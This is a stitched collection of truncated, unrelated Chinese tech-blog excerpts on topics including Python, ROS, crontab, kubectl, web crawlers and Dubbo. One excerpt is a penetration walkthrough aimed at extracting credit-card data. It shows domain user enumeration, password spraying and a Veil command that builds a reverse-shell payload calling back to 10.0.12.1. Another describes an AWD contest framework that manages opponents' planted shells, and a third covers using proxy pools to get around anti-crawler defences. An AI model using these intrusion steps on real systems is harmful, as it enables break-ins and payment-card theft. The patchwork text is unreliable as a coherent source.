，并将其存储在形参names中。...需要打印的设计存储在一个列表中， 打印后移到另一个列表中。...', 'robot pendant', 'dodecahedron'] completed_models = [] # 模拟打印每个设计，直到没有未打印的设计为止 # 打印每个设计后，都将其移到列表completed_models...只要列表unprinted_designs中还有设计，while循环就模拟 打印设计的过程：从该列表末尾删除一个设计，将其存储到变量current_design中，并显示一条 消息，指出正在打印当前的设计...给定这两个列表，这个函数模拟打印每个设计的过程：将设计逐个地从未 打印的设计列表中取出，并加入到打印好的模型列表中。
[robot_unique_name]：为了避免同一机器人的不同实例之间存在任何误解，机器人的名称后面跟着进程的ID和计算机的IP地址。...在教程7章节中，您将找到设置工作区并使用ROS运行示例模拟仿真的说明。 在下表中，您可以找到ros控制器参数列表。...由于ROS使用主机名查找网络上的其他计算机，因此必须将其他计算机的主机名和关联的IP地址添加到每台计算机的已知主机。您可以在名为hosts的文件中找到此列表。...注意：如果您以前从未使用过ROS框架，强烈建议您遵循以下教程：http：//wiki.ros.org/ROS/Tutorials。这些教程还将帮助您设置ROS环境并初始化catkin工作区。...这些计算机的主机名和IP地址应列在每台计算机的已知主机列表中，并ROS_MASTER_URI应相应地调整该变量。
Paper 类代表了一篇论文，它可以从 PDF 文件中解析出论文的元信息和内容，并提供了一些函数用于获取论文信息，如获取文章标题，获取章节名称及内容等。...，根据查询信息和关键词得到论文列表，再根据列表中的论文信息获取论文 pdf 文件并保存。...该程序功能为根据读者输入的搜索查询和感兴趣的关键词，从Arxiv数据库中获取文章，并对文章进行摘要和总结。...接着，程序使用提供的参数调用 arXiv API，获取查询到的论文列表。程序遍历每篇论文，并下载它们的 PDF 文件。程序接收到 PDF 后，使用 fitz 库打开它，提取出目录，正文和元数据等信息。...其中，程序分为若干个子功能，包括：将PDF中的第一张图另存为图片，获取PDF文件中每个页面的文本信息并将其按章节组织成字典返回，获取PDF文件的标题，获取PDF文件中的章节。
（2）在相应的shell脚本文件中，已经将配置可能要修改点作了标记，可根据实际情况进行针对性修改。...列出当前用户定时服务内容 crontab -r //删除当前用户的定时服务 crontab -e //编辑当前用户的定时服务 在设定编辑之前都建议列出服务查看一下：crontab -l # 对cron定时任务列表进行编辑...crontab -e # i 进行修改，ESC键退出编辑，;wq保存并退出 # 每五分钟执行一次 */5 * * * * sh xx.sh # 每半小时执行一次 */30 * * * * sh xx.sh...H:%M:%S"` Host_name=`hostname` IP_addr=`ifconfig $ifconfig | grep "inet" |awk 'NR==1{ print $2}'`...|grep -w "$Port_Nginx" |wc -l`':Nginx' MySQL_status=`netstat -lntup |grep -w "$Port_MySQL" |wc -l`'
它可以用于分布式、异构环境，在这些环境中，自动化需要使用不同的技术和接口。 框架周边有一个丰富的生态系统，由作为单独项目开发的各种通用库和工具组成。...注意： 在RF3.1中添加了官方RRA支持。本用户指南仍主要讨论如何创建测试、测试数据和测试库，但在创建任务时也适用相同的概念。 Robot Framework能做什么？...当RF启动时，它处理数据、执行测试用例并生成日志和报告。核心框架对被测目标一无所知，与它的交互由库处理。库可以直接使用应用程序接口，也可以使用低级测试工具作为驱动程序。...Robot Framework长什么样？ 以下截图展示了测试数据、创建的测试报告和日志的例子。 Robot Framework从哪里能获得更多的信息？...---- 本篇介绍了Robot Framework的用途及框架，下一篇将介绍如何安装。
网络爬虫的最终目的就是从网页中获取自己所需的信息。...虽然利用urllib、urllib2、re等一些爬虫基本库可以开发一个爬虫程序，获取到所需的内容，但是所有的爬虫程序都以这种方式进行编写，工作量未免太大了些，所有才有了爬虫框架。...使用爬虫框架可以大大提高效率，缩短开发时间。 ?...网络爬虫（web crawler）又称为网络蜘蛛（web spider）或网络机器人（web robot），另外一些不常使用的名字还有蚂蚁、自动索引、模拟程序或蠕虫，同时它也是“物联网”概念的核心之一。...网络爬虫一般是根据预先设定的一个或若干个初始网页的URL开始，然后按照一定的规则爬取网页，获取初始网页上的URL列表，之后每当抓取一个网页时，爬虫会提取该网页新的URL并放入到未爬取的队列中去，然后循环的从未爬取的队列中取出一个
ip和shell信息 ip录入模块 由于线下awd赛事靶机ip的不同(正式比赛中可能是范围类ip，小型比赛中可能是范围类端口)，框架同时支持范围ip和端口的添加，两类例子如下 ip范围： ?...流量混淆模块 在获取站点源码结构时本来想利用自己的靶机做目录遍历然后返回路径列表，后来为了提升效率选择了将源码放在本地进行遍历，在使用模块前需要在库中attack_all()函数中修改框架所在路径，如图...，程序会将最新flag保存在data目录下，在flag获取模块中，自动的过滤了重复的flag，减轻了框架在本地环境下的运行负担 ?...80addip 10.10.10.10 80-90 removeip 可以删除掉自己机器的ip地址 确认ip地址无误后，可以通过saveip将其保存下来 addshell命令可以添加对方机器上的预留shell...这样就可以进行自动获取和提交了 关于流量混淆模块： 本人项目是在E盘写的，所以要正常使用该模块需要放在E盘下，并将站点源码放入html目录 进行流量混淆时，需要先加载ip列表（loadip）而后使用命令
中小学也在逐步普及智能硬件项目，如何将嵌入式物联网设备装载强大的智能算法，如何将其应用于机器人实现更加多元丰富的案例呢？ ? tianbotmini模型 ?...IP 查看主机IP地址。 设置参数启动tianbotmini： roslaunch tianbot_mini bringup.launch ?...主题列表 未发现与机器人相关列表，为什么？为什么？为什么？ 原因如下，IP不匹配： ? 详细参数界面 需要在此处注意，ROS_IP为 192.168.2.101 ！！！...修改主机IP，并重新配置。 ? 配置修改后，重新启动 ? 熟悉的主题列表出来了 这时候，就可以愉快遥控机器人运动了哦。 ?...rviz 同时在rviz中显示也一切正常哦。 更多玩法参考其他博文，持续更新中。 本文涉及代码： bringup.launch: <!
通过控制反转，对象在被创建的时候，由一个调控系统内所有对象的外界实体，将其所依赖的对象的引用传递给它。也可以说，依赖被注入到对象中。 Ioc 有什么用？...下面我们就来编写 IoC 框架吧。 首先我们看看这个框架的基本结构： ? 从宏观上观察一下这个框架，包含了3个package、在包 bean 中定义了我们框架的数据结构。...以及构造函数的传参的列表 constructorArgs 和需要注入的参数列表 `propertyArgs。 2....代码比较长，与我们的 IoC 原理关系不大，感兴趣的同学可以自行从github上下载代码看看。 有了这几个趁手的工具，我们就可以开始完成 Ioc 框架的核心代码了。 3....最后这个对象放入 beanMap 中,方便下一次使用。 所以我们可以知道 BeanFactory 是管理和生成对象的地方。 4.
网络爬虫的最终目的就是从网页中获取自己所需的信息。...虽然利用urllib、urllib2、re等一些爬虫基本库可以开发一个爬虫程序，获取到所需的内容，但是所有的爬虫程序都以这种方式进行编写，工作量未免太大了些，所有才有了爬虫框架。...使用爬虫框架可以大大提高效率，缩短开发时间。...网络爬虫（web crawler）又称为网络蜘蛛（web spider）或网络机器人（web robot），另外一些不常使用的名字还有蚂蚁、自动索引、模拟程序或蠕虫，同时它也是“物联网”概念的核心之一。...网络爬虫一般是根据预先设定的一个或若干个初始网页的URL开始，然后按照一定的规则爬取网页，获取初始网页上的URL列表，之后每当抓取一个网页时，爬虫会提取该网页新的URL并放入到未爬取的队列中去，然后循环的从未爬取的队列中取出一个
多年以来，我们在 kubectl 方面积累了很多技巧，现在想要将其中的部分分享给社区。 我相信很多读者对这些命令都非常熟悉；然而我还是希望读者能够从本文中有所获益，进而提高生产力。...,.status.capacity.memory]| @tsv' 获取节点列表，其中包含运行在每个节点上的 Pod 数量： kubectl get po -o json --all-namespaces...Pod 列表并根据其消耗的 CPU 或 内存进行排序： # cpu $ kubectl top pods -A | sort --reverse --key 3 --numeric # memory...$ kubectl top pods -A | sort --reverse --key 4 --numeric 获取 Pod 列表，并根据重启次数进行排序： kubectl get pods —sort-by...网络 获取集群节点的内部 IP： $ kubectl get nodes -o json | jq -r '.items[].status.addresses[]?
写在前面的话 在这篇文章中，我们将介绍如何绕过防火墙系统，并获取到持卡人数据环境(CDE)的访问权。最终目标：提取目标用户的信用卡数据。...我们可以使用enum4linux之类的功能根据来枚举出用户列表，并获取到域中每一位用户的用户名： $ enum4linux -R 1000-50000 10.0.12.100|tee enum4linux.txt...拿到用户列表之后，我们就可以对其进行解析处理了： $ cat enum4linux.txt | grep '(LocalUser)' |awk '$2 ~ /MACFARLANE\\/ {print...10.0.12.100 -u users.txt -pPassword1 如果我们想要继续猜解，则需要指定“—continue-on-success”参数： 拿到这个用户账号之后，我们就可以查询活动目录，并获取服务账号列表了...我们的IP地址是10.0.12.1，因此我们设置回连到这个地址： $ veil -t EVASION -p 22 --ip 10.0.12.1--port 8755 -o pci_shell 2.使用我们从
若依服务列表： ruoyi-auth ruoyi-system ruoyi-gateway ruoyi-ui 若依环境列表： DEV UAT PROD 环境准备工作： nacos安装并配置完成 MySQL...： image 自定义基础镜像 在实际企业环境中，基础镜像都会根据具体得需求定义适合自己得基础镜像。.../bin/sh ipTrue=false java_service_ip="" code=false getPodIp() { java_service_ip=`ip a | grep inet...| grep -v inet6 | grep -v '127.0.0.1' | awk '{print $2}' | awk -F / '{print$1}'` grep -w "${java_service_ip...language=zh-CN&accessToken=$accessToken&username=$NACOS_USERNAME&serviceName=$JAVA_SERVICE_NAME&ip=$java_service_ip
Pickle模块接受任何Python对象并将其转换为字符串表示形式，并使用dump函数将其转储到文件中，此过程称为pickling。...我们可以使用函数/方法getcwd()，从模块os中将其导入。...len(‘Data 123’) 8 Q69.如何从列表中删除最后一个对象？ 从列表中删除并返回最后一个对象或obj。...从start_urls里获取第一批url并发送请求，请求由引擎交给调度器入请求队列，获取完毕后， 调度器将请求队列里的请求交给下载器去获取请求对应的响应资源，并将响应交给自己编写的解析方法做提取处理：...可以专门写一个爬虫，爬取网上公开的代理ip，检测后全部保存起来。 有了大量代理ip后可以每请求几次更换一个ip，这在requests或者urllib2中很容易做到，这样就能很容易的绕过第一种反爬虫。
Pickle模块接受任何Python对象并将其转换为字符串表示形式，并使用dump函数将其转储到文件中，此过程称为pickling。...我们可以使用函数/方法getcwd()，从模块os中将其导入。...len('Data 123') 8 Q69.如何从列表中删除最后一个对象？ 从列表中删除并返回最后一个对象或obj。...从start_urls里获取第一批url并发送请求，请求由引擎交给调度器入请求队列，获取完毕后， 调度器将请求队列里的请求交给下载器去获取请求对应的响应资源，并将响应交给自己编写的解析方法做提取处理：...可以专门写一个爬虫，爬取网上公开的代理ip，检测后全部保存起来。 有了大量代理ip后可以每请求几次更换一个ip，这在requests或者urllib2中很容易做到，这样就能很容易的绕过第一种反爬虫。
in proxy_list: r.sadd('proxy_pool', proxy_ip) # 从HTTP代理购买的IP地址列表 proxy_list = ['proxy_ip1:proxy_port1...redis # 将IP地址加入代理池 def add_proxy_to_pool(proxy_ip): r.sadd('proxy_pool', proxy_ip) # 从HTTP代理购买的IP地址列表...最后，我们可以将从HTTP代理购买的IP地址列表遍历，并调用add_proxy_to_pool(proxy_ip)函数将IP地址放入代理池。...我们使用redis模块连接到Redis数据库，然后，定义了get_proxy()函数，用于从代理池中获取一个代理IP。...2、添加新的代理IP： 持续地添加新的代理IP可以保持代理池的多样性和可用性，可以定期从可靠的HTTP代理供应商处购买新的代理IP，并将其加入到代理池中，确保新的代理IP经过验证，并且符合预期的质量标准
/bin/sh # Prefer this result="$(lsblk | grep sda)" # Not this result="`lsblk | grep sda`" 在上面的示例中，...-r选项_ 如果我们想覆盖读取的默认行为并保留反斜杠怎么办？...让我们尝试在终端中打印这些字符： $ echo \ > 当我们回显单个反斜杠时，shell 将其视为续行。...所以，为了打印反斜杠，我们需要添加另一个反斜杠： $ echo \\ \ $ 字符是从 shell 变量读取的前缀： $ echo $0 /usr/bin/zsh $ echo $$ 2609 $...和 $ 在 shell 中也有特殊含义。因此，请记住，每当我们在字符串中遇到这些字符时，我们都需要在它们之前添加一个反斜杠以获取文字字符。 6.
([it[2] for it in data]) 根据已有列表，高效创建新列表的方式。...列表解析是Python迭代机制的一种应用，它常用于实现创建新的列表，因此用在[]中。...X[:,0] 作用：是numpy中数组的一种写法，主要用于获取数组中的元素。 个人理解的是第n列（应该是从0开始）。...就相当于我们在搭建给胳膊上色的这个车间的时候，就必须预留一个入口来放入已经生产出来的机器人。 留出来的这个位子，可以叫任何名字。...Numpy中np.max(即np.amax)的用法 作用：用于从数组中查找最小元素，最大元素，百分位标准差和方差等。 numpy.amin() 用于计算数组中的元素沿指定轴的最小值。
依赖注入的属性从哪里来 加载当前`Type`中所有的扩展类 加载文件中的具体实现类 loader.getExtension(name)根据名称获取扩展类实例 @Activate 注解的作用 总结 自适应扩展机制...从测试结果可以看出，我们的两个实现类被成功的加载，并输出了相应的内容。关于 Java SPI 的演示先到这里，接下来演示 Dubbo SPI。...若 value 为非空数组，直接获取数组内容即可。若 value 为空数组，则需进行额外处理。处理过程是将类名转换为字符数组，然后遍历字符数组，并将字符放入 StringBuilder 中。...Dubbo 首先会通过反射获取到实例的所有方法，然后再遍历方法列表，检测方法名是否具有 setter 方法特征。...前者用于创建自适应的拓展，后者是用于从 Spring 的 IOC 容器中获取所需的拓展。
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